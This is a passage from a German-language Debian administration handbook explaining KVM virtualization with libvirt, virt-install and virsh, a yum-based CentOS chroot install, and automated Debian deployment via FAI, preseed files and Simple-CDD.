Es könnte auch sinnvoll sein, einen Teil des Dateisystems, wie zum Beispiel die Unterverzeichnisse /usr und /lib, gemeinsam zu nutzen, um so die Duplizierung von Software zu vermeiden, die bei mehreren Containern benötigt wird. Dies wird normalerweise durch lxc.mount.entry-Einträge in der Konfigurationsdatei des Containers erreicht. Ein interessanter Nebeneffekt besteht darin, dass die Prozesse in diesem Fall weniger physischen Speicher benötigen, da der Kernel erkennen kann, dass die Programme gemeinsam benutzt werden. Die zusätzliche Belastung durch einen weiteren Container kann so auf den für seine spezifischen Daten erforderlichen Plattenplatz und einige zusätzliche Prozesse, die der Kernel einplanen und verwalten muss, reduziert werden.

Wir haben selbstverständlich nicht alle verfügbaren Optionen beschrieben; ausführlichere Informationen sind auf den Handbuchseiten lxc(7) und lxc.container.conf(5) sowie auf weiteren Seiten, auf die sie verweisen, enthalten.

12.2.3. Virtualisierung mit KVM

KVM, das Kernel-based Virtual Machine bedeutet, ist in erster Linie ein Kernel-Modul, das den größten Teil der Infrastruktur bereitstellt, die von einem Virtualisierungsprogramm benutzt werden kann, ist jedoch selbst kein Virtualisierungsprogramm. Die eigentliche Steuerung der Virtualisierung wird von einer Anwendung auf der Grundlage von QEMU vorgenommen. Wundern Sie sich nicht, dass dieser Abschnitt über qemu-*-Befehle spricht: er handelt dennoch von KVM.

Im Gegensatz zu anderen Virtualisierungssystemen war KVM von Anfang an Teil des Linux-Kernels. Seine Entwickler entschieden sich, die für eine Virtualisierung vorgesehenen Prozessor-Befehlssätze (Intel-VT und AMD-V) zu nutzen, wodurch KVM leichtgewichtig, elegant und ressourcenschonend bleibt. Die Kehrseite ist natürlich, dass KVM nicht auf allen Rechnerarchitekturen läuft, sondern nur auf denen mit entsprechenden Prozessoren. Sie können überprüfen, ob Sie einen derartigen Prozessor haben wenn unter den CPU-Flags in der Datei /proc/cpuinfo „vmx“ oder „svm“ aufgeführt ist.

Mit aktiver Unterstützung seiner Entwicklung durch Red Hat scheint KVM auf dem Wege zu sein, zur Referenz für Linux-Virtualisierung zu werden.

12.2.3.1. Vorbereitende Schritte

Im Gegensatz zu Programmen wie VirtualBox enthält KVM selbst keine Benutzerschnittstelle zur Erstellung und Verwaltung virtueller Rechner. Das Paket qemu-kvm stellt nur eine ausführbare Datei zum Start eines virtuellen Rechners bereit sowie ein Initialisierungsskript, das die passenden Kernel-Module lädt.

Glücklicherweise stellt Red Hat mit der Entwicklung der Bibliothek libvirt und der dazugehörigen Werkzeuge des virtual machine manager einen weiteren Satz von Hilfsprogrammen zur Lösung dieses Problems bereit. Mit libvirt ist es möglich, virtuelle Rechner einheitlich zu verwalten unabhängig von dem Virtualisierungssystem, das hinter den Kulissen beteiligt ist (gegenwärtig unterstützt es QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare und UML). virtual-manager ist eine grafische Schnittstelle, die libvirt zur Erstellung und Verwaltung virtueller Rechner benutzt.

Zunächst installieren wir mit apt-get install qemu-kvm libvirt-bin virtinst virt-manager virt-viewer die erforderlichen Pakete. libvirt-bin stellt den Daemon libvirtd zur Verfügung, mit dem (unter Umständen aus der Ferne) die Verwaltung der virtuellen Rechner, die auf dem Host laufen, möglich ist, und der die erforderlichen virtuellen Rechner startet, wenn der Host hochfährt. Zusätzlich enthält dieses Paket das Befehlszeilenwerkzeug virsh, das die Steuerung der Rechner ermöglicht, die von libvirtd verwaltet werden.

Das Paket virtinst stellt den Befehl virt-install bereit, mit dem es möglich ist, virtuelle Rechner von der Befehlszeile aus zu erstellen. Und schließlich ermöglicht virt-viewer den Zugriff auf die grafische Konsole eines virtuellen Rechners.

12.2.3.2. Netzwerkkonfigurierung

Genauso wie in Xen und LXC gehört zu der häufigsten Netzwerkkonfiguration eine Bridge, mit der die Netzwerkschnittstellen der virtuellen Rechner zusammengefasst werden (siehe Abschnitt 12.2.2.2, „Netzwerkkonfigurierung“).

Stattdessen kann (und das ist die Voreinstellung bei KVM) dem virtuellen Rechner eine private Adresse (im Bereich von 192.168.122.0/24) zugeordnet und NAT eingerichtet werden, so dass der virtuelle Rechner auf das externe Netzwerk zugreifen kann.

Für den Rest dieses Abschnitts wird angenommen, dass der Host über eine eth0 als physische Schnittstelle und eine br0-Bridge verfügt, und das Erstere mit Letzterer verbunden ist.

12.2.3.3. Installation mit virt-install

Die Erstellung eines virtuellen Rechners ist der Installation eines normalen Systems sehr ähnlich, außer dass die Eigenschaften des virtuellen Rechners in einer scheinbar endlosen Befehlszeile beschrieben werden.

In der Praxis bedeutet dies, dass wir das Debian-Installationsprogramm verwenden, indem wir den virtuellen Rechner auf einem virtuellen DVD-ROM-Laufwerk hochfahren, dem ein auf dem Host-System gespeichertes DVD-Abbild von Debian zugeordnet ist. Der virtuelle Rechner exportiert seine grafische Konsole über das VNC-Protokoll (für Einzelheiten siehe Abschnitt 9.2.2, „Entfernte grafische Arbeitsflächen benutzen“), so dass wir den Installationsprozess steuern können.

Zunächst müssen wir libvirtd mitteilen, wo die Plattenabbilder gespeichert werden sollen, es sei denn, dass der voreingestellte Ort (/var/lib/libvirt/images/) in Ordnung ist.

root@mirwiz:~# mkdir /srv/kvm
root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm
Pool srv-kvm created

root@mirwiz:~#

TIPP Eigenen Benutzer zur libvirt-Gruppe hinzufügen

Alle Beispiele in diesem Abschnitt gehen davon aus, dass Sie Befehle als root ausführen. Wenn Sie einen lokalen libvirt-Daemon kontrollieren wollen, müssen Sie entweder root oder Mitglied der Gruppe libvirt sein (was standardmäßig nicht der Fall ist). Wenn Sie also nicht zu oft root-Rechte verwenden wollen, können Sie sich der Gruppe libvirt hinzufügen und die verschiedenen Befehle unter Ihrer Benutzeridentität ausführen.

Wir wollen jetzt mit dem Installationsprozess für den virtuellen Rechner beginnen und uns die wichtigsten Optionen des Befehls virt-install ansehen. Der Befehl registriert den virtuellen Rechner und seine Parameter in libvirtd und startet ihn dann, so dass seine Installierung fortgesetzt werden kann.

# virt-install --connect qemu:///system
--virt-type kvm
--name testkvm
--ram 1024
--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10
--cdrom /srv/isos/debian-8.1.0-amd64-netinst.iso
--network bridge=br0
--vnc
--os-type linux
--os-variant debianwheezy

Starting install...
Allocating 'testkvm.qcow'             |  10 GB     00:00
Creating domain...                    |    0 B     00:00
Guest installation complete... restarting guest.

Die Option --connect legt den zu verwendenden „Hypervisor“ fest. Sie hat die Form einer URL, die ein Virtualisierungssystem enthält (xen://, qemu://, lxc://, openvz://, vbox:// und so weiter) und den Rechner, der den virtuellen Rechner aufnehmen soll (dies kann leer bleiben, falls es sich dabei um den lokalen Host handelt). Zusätzlich hierzu, und im Fall vom QEMU/KVM, kann jeder Benutzer virtuelle Rechner, die mit eingeschränkten Berechtigungen laufen, verwalten, wobei der URL-Pfad es ermöglicht, „System“-Rechner (/system) von anderen (/session) zu unterscheiden.

Da KVM auf die gleiche Weise wie QEMU verwaltet wird, kann mit --virt-type kvm die Verwendung von KVM festgelegt werden, obwohl die URL aussieht, als würde QEMU verwendet.

Die Option --name legt einen (eindeutigen) Namen für den virtuellen Rechner fest.

Die Option --ram ermöglicht es, die Größe des RAM (in MB) festzulegen, das dem virtuellen Rechner zugeordnet wird.

Mit --disk wird der Ort der Abbild-Datei benannt, die die Festplatte unseres virtuellen Rechners darstellen soll; diese Datei wird, falls sie nicht bereits vorhanden ist, in einer Größe (in GB) erstellt, die mit dem Parameter size festgelegt wird. Der Parameter format ermöglicht die Auswahl zwischen mehreren Arten der Speicherung der Abbild-Datei. Das voreingestellte Format (raw) besteht aus einer einzelnen Datei, die in Größe und Inhalt der Platte entspricht. Wir haben hier ein weiter entwickeltes Format gewählt, das für QEMU spezifisch ist, und bei dem man mit einer kleinen Datei beginnen kann, die nur größer wird, wenn der virtuelle Rechner tatsächlich damit beginnt, Platz zu belegen.

Die Option --cdrom wird zur Anzeige des Ortes verwendet, an dem sich die optische Platte befindet, die für die Installierung benutzt wird. Der Pfad kann entweder ein lokaler Pfad zu einer ISO-Datei sein, eine URL, von der die Datei bezogen werden kann, oder die Gerätedatei eines physischen CD-ROM-Laufwerks (das heißt /dev/cdrom).

Mit --network wird festgelegt, wie sich die virtuelle Netzwerkkarte in die Netzwerkkonfiguration des Hosts integriert. Das voreingestellte Verhalten (das in unserem Beispiel ausdrücklich erzwungen wird) besteht darin, sie in eine bereits bestehende Netzwerk-Bridge einzubinden. Falls es eine derartige Bridge nicht gibt, kann der virtuelle Rechner das physische Netzwerk nur über NAT erreichen, das heißt, dass er eine Adresse in einem privaten Teilnetzbereich erhält (192.168.122.0/24).

--vnc gibt an, dass die grafische Konsole unter Verwendung von VNC zur Verfügung gestellt werden soll. Das voreingestellte Verhalten des zugeordneten VNC-Servers besteht darin, nur an der lokalen Schnittstelle auf Eingaben zu warten. Fall der VNC-Client auf einem anderen Host laufen soll, muss zur Herstellung der Verbindung ein SSH-Tunnel eingerichtet werden (siehe Abschnitt 9.2.1.3, „Verschlüsselte Tunnel mit Port-Weiterleitung einrichten“). Alternativ kann --vnclisten=0.0.0.0 verwendet werden, so dass von allen Schnittstellen aus auf den VNC-Server zugegriffen werden kann. Man beachte jedoch, dass in diesem Fall die Firewall wirklich entsprechend eingestellt werden sollte.

Mit den Optionen --os-type und --os-variant lassen sich einige Parameter des virtuellen Rechners optimieren in Abhängigkeit von den bekannten Funktionen des Betriebssystems, das hier genannt wird.

Jetzt läuft der virtuelle Rechner, und wir müssen uns mit der grafischen Konsole verbinden, um den Installationsprozess fortzusetzen. Falls die bisherigen Schritte in einer grafischen Arbeitsumgebung ausgeführt wurden, sollte diese Verbindung von sich aus starten. Anderenfalls, oder falls wir aus der Ferne arbeiten, kann virt-viewer von jeder beliebigen grafischen Umgebung aus aufgerufen werden, um die grafische Konsole zu öffnen (man beachte, dass zweimal nach dem Root-Passwort des entfernten Hosts gefragt wird, da dieser Arbeitsgang zwei SSH-Verbindungen erfordert):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm
root@server's password:
root@server's password:

Wenn der Installationsprozess endet, startet der virtuelle Rechner neu und ist dann einsatzbereit.

12.2.3.4. Rechner mit virsh verwalten

Nachdem die Installation nunmehr erledigt ist, wollen wir sehen, wie man mit den vorhandenen virtuellen Rechnern umgeht. Zunächst soll libvirtd nach einer Liste der virtuellen Rechner, die er verwaltet, gefragt werden:

# virsh -c qemu:///system list --all
Id Name                 State
----------------------------------
- testkvm              shut off

Lassen Sie uns unseren virtuellen Testrechner starten:

# virsh -c qemu:///system start testkvm
Domain testkvm started

Wir können jetzt die Verbindungshinweise für die grafische Konsole bekommen (die angegebene VNC-Anzeige kann als Parameter an vncviewer übergeben werden):

# virsh -c qemu:///system vncdisplay testkvm
:0

Zu den weiteren bei virsh verfügbaren Unterbefehlen gehören:

- reboot, um einen virtuellen Rechner neu zu starten;

- shutdown, um ein sauberes Herunterfahren einzuleiten;

- destroy, um ihn brutal zu stoppen;

- suspend, um ihn in den Bereitschaftsbetrieb zu versetzen;

- resume, um ihn wieder in Betrieb zu nehmen;

- autostart, um den automatischen Start des virtuellen Rechners beim Hochfahren des Hosts zu aktivieren (oder ihn mit der Option --disable zu deaktivieren);

- undefine, um alle Spuren des virtuellen Rechners von libvirtd zu entfernen.

Alle diese Unterbefehle erfordern als einen ihrer Parameter die Kennung eines virtuellen Rechners.

12.2.3.5. Ein RPM-basiertes System in Debian mit yum installieren

Wenn auf der virtuellen Maschine ein Debian-System (oder eines seiner Derivate) laufen soll, kann das System mit debootstrap aufgesetzt werden, wie oben beschrieben. Soll aber auf der virtuellen Maschine ein RPM-basiertes System laufen, dann muss es mit dem Utility yum (aus dem gleichnamigen Paket) installiert werden.

Die Prozedur erfordert die Verwendung von rpm, um einen ersten Satz von Dateien zu extrahieren, insbesondere yum Konfigurationsdateien gefolgt vom Aufruf von yum, um den restlichen Satz von Paketen zu extrahieren. Aber da wir yum von außerhalb des chroot aufrufen, müssen wir einige temporäre Änderungen vornehmen. Im Beispiel unten ist das Ziel chroot /srv/centos.

# rootdir="/srv/centos"
# mkdir -p "$rootdir" /etc/rpm
# echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath
# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm
# rpm --nodeps --root "$rootdir" -i centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm
rpm: RPM should not be used directly install RPM packages, use Alien instead!
rpm: However assuming you know what you are doing...
warning: centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY
# sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo
# yum --assumeyes --installroot $rootdir groupinstall core
[...]
# sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

12.3. Automatische Installation

Die Falcot Corp. Administratoren benötigen, wie viele Administratoren großer IT-Dienste, Werkzeuge, um ihre neuen Rechner schnell aufzusetzen (oder wieder aufzusetzen), und das möglichst automatisch.

Diese Erfordernisse können von einer großen Vielzahl von Lösungen erfüllt werden. Auf der einen Seite erledigen allgemeine Hilfsprogramme wie zum Beispiel SystemImager dies, indem sie von einem Rechner als Vorlage ein Abbild erzeugen, und dieses dann auf den Zielsystemen einrichten. Am anderen Ende des Spektrums kann das normale Debian-Installationsprogramm mit einer Konfigurationsdatei voreingestellt werden, die die Fragen, die während des Installationsprozesses gestellt werden, beantwortet. Als eine Art Mittelweg setzt ein Hybridwerkzeug wie FAI (Fully Automatic Installer) Rechner unter Verwendung des Paketsystems auf, gleichzeitig verwendet es aber auch seine eigene Infrastruktur für Aufgaben, die für eine Massenverteilung typisch sind (wie zum Beispiel das Starten, Partitionieren, Konfigurieren und so weiter).

Jede dieser Lösungen hat ihre Vor- und Nachteile: SystemImager arbeitet unabhängig von einem bestimmten Paketsystem, wodurch es ihm möglich ist, eine große Anzahl von Rechnern, die mehrere unterschiedliche Linux-Distributionen verwenden, zu verwalten. Es enthält auch ein Aktualisierungssystem, das keine Neuinstallation erfordert, jedoch kann dieses Aktualisierungssystem nur zuverlässig funktionieren, wenn die Rechner nicht unabhängig von ihm modifiziert werden; mit anderen Worten, der Benutzer darf selbst keinerlei Software aktualisieren oder irgendeine andere Software installieren. Ebenso dürfen Sicherheitsaktualisierungen nicht automatisiert werden, da auch sie durch das zentrale Bezugsabbild gehen müssen, das SystemImager unterhält. Für diese Lösung ist es außerdem erforderlich, dass die Zielrechner einheitlich sind, da sonst zahlreiche unterschiedliche Abbilder aufbewahrt und verwaltet werden müssten (eine i386-Abbild würde nicht zu einem PowerPC-Rechner passen und so weiter).

Demgegenüber kann eine automatische Installation unter Verwendung des Debian-Installationsprogramms an die Besonderheiten jedes Rechners angepasst werden: das Installationsprogramm holt die geeigneten Kernel und Softwarepakete von den passenden Repositories, erkennt die verfügbare Hardware, partitioniert die gesamte Festplatte zur Nutzung des verfügbaren Speicherplatzes, installiert das entsprechende Debian-System und richtet den passenden Boot-Loader ein. Jedoch installiert das Standard-Installationsprogramm nur Standard-Debian-Systeme mit dem Grundsystem und einem Satz vorausgewählter „Aufgaben“; die Installation eines bestimmten Systems mit Anwendungen, die nicht im Paketsystem enthalten sind, ist ausgeschlossen. Um dieses besondere Erfordernis zu erfüllen, muss das Installationsprogramm angepasst werden... Glücklicherweise ist das Installationsprogramm sehr modular, und es gibt Hilfsprogramme, um den größten Teil der für diese Anpassung erforderlichen Arbeit zu automatisieren, vor allem Simple-CDD (CDD ist ein Akronym für Custom Debian Derivative). Jedoch handhabt selbst die Lösung mit Simple-CDD nur anfängliche Installationen; dies ist gewöhnlich kein Problem, da die Hilfsprogramme von APT später effiziente Aktualisierungen ermöglichen.

Wir werden nur einen groben Überblick über FAI geben, und SystemImager (das nicht mehr in Debian enthalten ist) vollständig übergehen, um stärkere Aufmerksamkeit auf das Debian-Installationsprogramm und Simple-CDD zu richten, die im Zusammenhang mit einem reinen Debian-System interessanter sind.

12.3.1. Fully Automatic Installer (FAI)

Fully Automatic Installer ist vielleicht das älteste automatische Einrichtungssystem für Debian, wodurch sich sein Status als Referenz erklärt. Seine sehr flexible Art ist jedoch nur ein schwacher Ausgleich für die mit ihm einhergehende Kompliziertheit.

FAI erfordert ein Server-System, um die Einrichtungsinformation zu speichern und das Hochfahren der Zielrechner über das Netzwerk zu ermöglichen. Dieser Server benötigt das Paket fai-server (oder fai-quickstart, das auch die für eine Standardkonfiguration erforderlichen Elemente mit sich bringt).

FAI verwendet einen besonderen Ansatz zur Festlegung der verschiedenen zu installierenden Profile. Es vervielfältigt nicht einfach eine Referenz-Installation, sondern ist ein vollwertiges Installationsprogramm, das durch einen auf dem Server gespeicherten Satz von Dateien und Skripten vollständig konfigurierbar ist. Der voreingestellte Speicherort /srv/fai/config/ wird nicht automatisch erstellt, sondern der Administrator muss ihn zusammen mit den entsprechenden Dateien erstellen. In den meisten Fällen werden diese Dateien auf der Grundlage der Beispieldateien, die in der Dokumentation des Pakets fai-doc oder genauer gesagt in dem Verzeichnis /usr/share/doc/fai-doc/examples/simple/ vorhanden sind, angepasst.

Nachdem die Profile festgelegt sind, erzeugt der Befehl fai-setup die für den Start einer FAI-Installation erforderlichen Elemente. Dies bedeutet vor allem, ein minimales System (NFS-root) vorzubereiten und zu aktualisieren, das während der Installation benutzt wird. Alternativ kann mit dem Befehl fai-cd eine speziell hierfür vorgesehene Boot-CD erstellt werden.

Um alle diese Konfigurationsdateien erstellen zu können, ist ein gewisses Verständnis darüber erforderlich, wie FAI funktioniert. Ein typischer Installationsprozess besteht aus folgenden Schritten:

- einen Kernel aus dem Netzwerk holen und laden;

- das Wurzel-Dateisystem des NFS einhängen;

- /usr/sbin/fai ausführen, das den Rest des Prozesses steuert (die folgenden Schritte werden daher durch dieses Skript ausgelöst);

- den Konfigurationsraum vom Server nach /fai/ kopieren;

- fai-class ausführen. Die Skripten /fai/class/[0-9][0-9]* werden nacheinander ausgeführt und ergeben Bezeichnungen für „Klassen“, die für den Rechner gelten, der gerade installiert wird; diese Information dient als Grundlage für die nachfolgenden Schritte. Es ermöglicht eine gewisse Flexibilität in der Festlegung der Dienste, die installiert und konfiguriert werden.

- eine Anzahl von Konfigurationsvariablen in Abhängigkeit von den entsprechenden Klassen holen;

- die Festplatten partitionieren und die Partitionen formatieren auf der Grundlage der in /fai/disk_config/klasse bereitgestellten Informationen;

- diese Partitionen einhängen;

- das Grundsystem installieren;

- die Debconf-Datenbank mit fai-debconf voreinstellen;

- die Liste verfügbarer Pakete für APT holen;

- die in /fai/package_config/klasse aufgelisteten Pakete installieren;

- die Nachkonfigurationsskripten /fai/scripts/klasse/[0-9][0-9]* ausführen;

- die Installationsprotokolle speichern, die Partitionen aushängen und einen Neustart durchführen.

12.3.2. Das Debian-Installationsprogramm voreinstellen

Letzten Endes sollte das beste Werkzeug zur Installation von Debian-Systemen logischerweise das offizielle Debian-Installationsprogramm sein. Deshalb wurde das Debian-Installationsprogramm von Anfang an für den automatischen Einsatz konzipiert, indem es sich die Infrastruktur zunutze macht, die durch debconf bereitgestellt wird. Letzteres ermöglicht es einerseits, die Anzahl der Fragen, die gestellt werden, zu verringern (verdeckte Fragen benutzen die angebotene voreingestellte Antwort), und andererseits, die voreingestellten Antworten getrennt bereitzustellen, so dass die Installation nicht-interaktiv erfolgen kann. Diese letzte Funktion wird Preseeding genannt.

WEITERE SCHRITTE Debconf mit einer zentralisierten Datenbank

Preeseeding ermöglicht es, zur Zeit der Installation einen Satz von Antworten auf Fragen von Debconf bereitzustellen, jedoch sind diese Antworten statisch und entwickeln sich im Laufe der Zeit nicht weiter. Da bereits installierte Rechner möglicherweise aktualisiert werden müssen, und neue Antworten erforderlich werden, kann die Konfigurationsdatei /etc/debconf.conf so eingerichtet werden, dass Debconf externe Datenquellen benutzt (wie zum Beispiel einen LDAP-Verzeichnis-Server oder eine entfernte Datei, die über NFS oder Samba zugegriffen wird). Mehrere externe Datenquellen können gleichzeitig festgelegt werden, und sie ergänzen einander. Die lokale Datenbank wird weiterhin (für Lese- und Schreibzugriff) genutzt, während die entfernten Datenbanken gewöhnlich nur gelesen werden können. Die Handbuchseite debconf.conf(5) beschreibt alle Möglichkeiten im Detail (sie benötigen das debconf-doc Paket).

12.3.2.1. Eine Preseed-Datei verwenden

Es gibt mehrere Orte, an denen das Installationsprogramm eine Preseed-Datei erhalten kann:

- in der initrd, die zum Hochfahren des Rechners verwendet wird; in diesem Fall geschieht das Preseeding ganz zu Anfang der Installation, und alle Fragen können vermieden werden. Die Datei muss nur preseed.cfg genannt und im Hauptverzeichnis von initrd gespeichert werden.

- auf den Boot-Medien (CD oder USB-Stick); das Preseeding geschieht dann, sobald das Medium eingehängt ist, das heißt, gleich nach den Fragen nach der Sprache und der Tastaturbelegung. Der Boot-Parameter preseed/file kann benutzt werden, um den Ort der Preseed-Datei anzugeben (zum Beispiel /cdrom/preseed.cfg, wenn die Installation von einer CD-ROM aus erfolgt, oder /hd-media/preseed.cfg im Falle eines USB-Sticks).

- aus dem Netzwerk; das Preseeding geschieht dann erst, nachdem das Netzwerk (automatisch) konfiguriert worden ist; der entsprechende Boot-Parameter lautet in diesem Fall preseed/url=http://server/preseed.cfg.

Auf den ersten Blick sieht es so aus, als bestehe die interessanteste Lösung darin, die Preseed-Datei in die initrd einzufügen; jedoch wird dies in der Praxis selten genutzt, da es recht kompliziert ist, eine Installations-initrd zu erstellen. Die anderen beiden Lösungen finden sich weit häufiger, vor allem da Boot-Parameter einen weiteren Weg zur Bereitstellung von Antworten auf die ersten Fragen des Installationsprozesses darstellen. Um sich die Mühe zu sparen, diese Boot-Parameter bei jeder Installation von Hand einzugeben, besteht der übliche Weg darin, sie in der Konfiguration für isolinux (im Falle der CD-ROM) oder für syslinux (beim USB-Stick) abzuspeichern.

12.3.2.2. Eine Preseed-Datei erstellen

Eine Preseed-Datei ist eine reine Textdatei, in der jede Zeile die Antwort auf eine Debconf-Frage enthält. Eine Zeile ist über vier Felder aufgeteilt, die durch Leerraum (Leerzeichen oder Tabulatoren) getrennt sind, wie zum Beispiel in d-i mirror/suite string stable:

- das erste Feld ist der „Besitzer“ der Frage; „d-i“ wird für Fragen verwendet, für die das Installationsprogramm zuständig ist, es kann aber auch ein Paketname sein für Fragen, die von Debian-Paketen kommen;

- das zweite Feld ist eine Kennung für die Frage;

- das dritte die Art der Frage;

- das vierte und letzte Feld enthält den Eingabewert für die Antwort. Man beachte, dass es vom dritten Feld durch ein einzelnes Leerzeichen getrennt sein muss; gibts es weitere, so werden alle folgenden Leerzeichen als Teil des Eingabewerts betrachtet.

Am einfachsten lässt sich eine Preseed-Datei schreiben, indem man ein System von Hand installiert. Dabei stellt debconf-get-selections --installer die Antworten bereit, die das Installationsprogramm betreffen. Antworten zu anderen Paketen können mit debconf-get-selections erlangt werden. Eine sauberere Lösung besteht jedoch darin, die Preseed-Datei von Hand zu schreiben, indem man mit einem Beispiel und der Referenz-Dokumentation beginnt: bei dieser Herangehensweise brauchen nur Fragen, bei denen die voreingestellte Antwort geändert werden muss, angegeben zu werden; mit dem Boot-Parameter priority=critical weist man Debconf an, nur kritische Fragen zu stellen und für die übrigen die voreingestellten Antworten zu verwenden.

DOKUMENTATION Anhang zur Installationsanleitung

Die Installationsanleitung, die online zur Verfügung steht, enthält in einem Anhang eine ausführliche Dokumentation zum Einsatz einer Preseed-Datei. Sie enthält auch eine detaillierte und kommentierte Beispieldatei, die als Grundlage für lokale Anpassungen dienen kann.

→ https://www.debian.org/releases/jessie/amd64/apb.html

→ https://www.debian.org/releases/jessie/example-preseed.txt

12.3.2.3. Ein angepasstes Boot-Medium erstellen

Zwar ist es gut zu wissen, wo die Preseed-Datei gespeichert werden sollte, aber der Ort ist nicht alles: man muss auf die eine oder andere Weise das Boot-Medium für die Installation anpassen, um die Boot-Parameter zu ändern und die Preseed-Datei hinzuzufügen.

12.3.2.3.1. Aus dem Netzwerk hochfahren

Wenn ein Rechner aus dem Netzwerk hochgefahren wird, legt der Server, der die Initialisierungselemente sendet, auch die Boot-Parameter fest. Daher müssen die Änderungen in der PXE-Konfiguration für den Boot-Server vorgenommen werden; genauer gesagt in seiner Konfigurationsdatei /tftpboot/pxelinux.cfg/default. Voraussetzung hierfür ist, dass das Hochfahren aus dem Netzwerk eingerichtet wird; siehe die Installationsanleitung für Einzelheiten.

→ https://www.debian.org/releases/jessie/amd64/ch04s05.html

12.3.2.3.2. Einen bootfähigen USB-Stick herstellen

Nachdem ein bootfähiger Stick hergestellt worden ist (siehe Abschnitt 4.1.2, „Von einem USB-Stick hochfahren“), sind einige zusätzliche Arbeitsgänge erforderlich. Angenommen der Inhalt des Sticks liegt unter /media/usbdisk/ bereit:

- die Preseed-Datei nach /media/usbdisk/preseed.cfg kopieren

- /media/usbdisk/syslinux.cfg editieren und die erforderlichen Boot-Parameter hinzufügen (siehe unten stehendes Beispiel).

Beispiel 12.2. syslinux.cfg-Datei und Preseeding-Parameter

default vmlinuz
append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz  --

12.3.2.3.3. Ein CD-ROM-Abbild erstellen

Ein USB-Stick ist ein Lese- und Schreibmedium, von daher war es für uns einfach, auf ihm eine Datei hinzuzufügen und einige Parameter zu ändern. Im Falle einer CD-ROM ist dieser Vorgang komplizierter, da wir ein vollständiges ISO-Abbild neu erstellen müssen. Diese Aufgabe wird von debian-cd erledigt, jedoch ist dieses Hilfsprogramm in der Anwendung recht umständlich: es benötigt einen lokalen Spiegel, und es erfordert das Verständnis aller Optionen, die /usr/share/debian-cd/CONF.sh bietet; selbst dann noch muss make mehrmals aufgerufen werden. Es ist daher empfehlenswert, /usr/share/debian-cd/README durchzulesen.

Allerdings funktioniert debian-cd stets auf ähnliche Weise: ein „Abbild“-Verzeichnis mit dem genauen Inhalt der CD-ROM wird erzeugt und dann mit einem Hilfsprogramm wie genisoimage, mkisofs oder xorriso in eine ISO-Datei umgewandelt. Das Abbildverzeichnis ist endgültig fertiggestellt, nachdem in debian-cd der Schritt make image-trees ausgeführt wurde. An dieser Stelle fügen wir die Preseed-Datei in das passende Verzeichnis ein (normalerweise $TDIR/$CODENAME/CD1/, wobei $TDIR und $CODENAME einer der Parameter ist, die durch die Konfigurationsdatei CONF.sh festgelegt werden). Die CD-ROM benutzt isolinux als ihren Boot-Loader, und seine Konfigurationsdatei muss dem angepasst werden, was mit debian-cd erzeugt worden ist, um die erforderlichen Boot-Parameter einzufügen (die konkrete Datei heißt $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg). Anschließend kann der „normale“ Ablauf wieder aufgenommen werden, und wir können dazu übergehen, mit make image CD=1 das ISO-Abbild zu erzeugen (oder mit make images, falls mehrere CD-ROMs erzeugt werden).

12.3.3. Simple-CDD: die Komplettlösung

Um alle Erfordernisse zu erfüllen, die bei großen Verbreitungsaktionen auftreten, genügt es nicht, einfach eine Preseed-Datei zu verwenden. Obwohl es damit möglich ist, am Ende des normalen Installationsprozesses einige Skripten auszuführen, ist die Auswahl des zu installierenden Satzes von Paketen noch nicht sehr flexibel (im Grunde können nur „Aufgaben“ ausgewählt werden); wichtiger ist noch, dass so nur offizielle Debian-Pakete installiert werden können und lokal erstellte ausgeschlossen sind.

Andererseits kann debian-cd externe Pakete integrieren, und das Debian-Installationsprogramm kann durch das Hinzufügen weiterer Schritte zum Installationsprozess erweitert werden. Durch die Kombination dieser Fähigkeiten sollte es möglich sein, ein angepasstes Installationsprogramm zu erstellen, das unsere Anforderungen erfüllt; es sollte sogar in der Lage sein, einige Dienste nach dem Entpacken der erforderlichen Pakete zu konfigurieren. Glücklicherweise ist dies nicht nur eine Annahme, da dies genau das ist, was Simple-CDD (im Paket simple-cdd) macht.

Der Zweck von Simple-CDD besteht darin, es jedem zu ermöglichen, auf einfache Weise eine von Debian abgeleitete Distribution zu erstellen, indem eine Teilmenge der verfügbaren Pakete ausgewählt wird, diese mit Debconf vorkonfiguriert werden, bestimmte Software hinzugefügt wird, und am Ende des Installationsprozesses angepasste Skripten ausgeführt werden. Dies entspricht der Philosophie des „universellen Betriebssystems“, da jeder es an seine Bedürfnisse anpassen kann.

12.3.3.1. Profile erstellen

Simple-CDD legt „Profile“ fest, die dem Konzept der „Klassen“ bei FAI entsprechen, und ein Rechner kann über mehrere Profile verfügen (die während der Installation bestimmt werden). Ein Profil wird durch einen Satz von Dateien namens profiles/profil.* definiert:

- die Datei .description enthält eine einzeilige Beschreibung des Profils;

- die Datei .packages listet die Pakete auf, die bei der Auswahl des Profils automatisch installiert werden;

- die Datei .downloads listet die Pakete auf, die auf den Installationsmedien gespeichert, aber nicht unbedingt installiert werden;

- die Datei .preseed enthält die Preseeding-Information für Debconf-Fragen (für das Installationsprogramm und für die Pakete);

- die Datei .postinst enthält ein Skript, das am Ende des Installationsprozesses ausgeführt wird;

- und schließlich ermöglicht es die Datei .conf, einige Parameter von Simple-CDD auf der Grundlage der Profile, die in dem Abbild enthalten sein werden, zu ändern.

Das Profil default spielt eine besondere Rolle, da es immer ausgewählt ist; es enthält das absolute Minimum dessen, das erforderlich ist, damit Simple-CDD funktioniert. Das Einzige, das in diesem Profil normalerweise angepasst ist, ist der Preseed-Parameter simple-cdd/profiles: er vermeidet die Frage, welche Profile installiert werden sollen, die sonst von Simple-CDD gestellt würde.

Man beachte auch, dass die Befehle von dem Verzeichnis aus aufgerufen werden müssen, das dem Verzeichnis profiles übergeordnet ist.

12.3.3.2. build-simple-cdd konfigurieren und benutzen

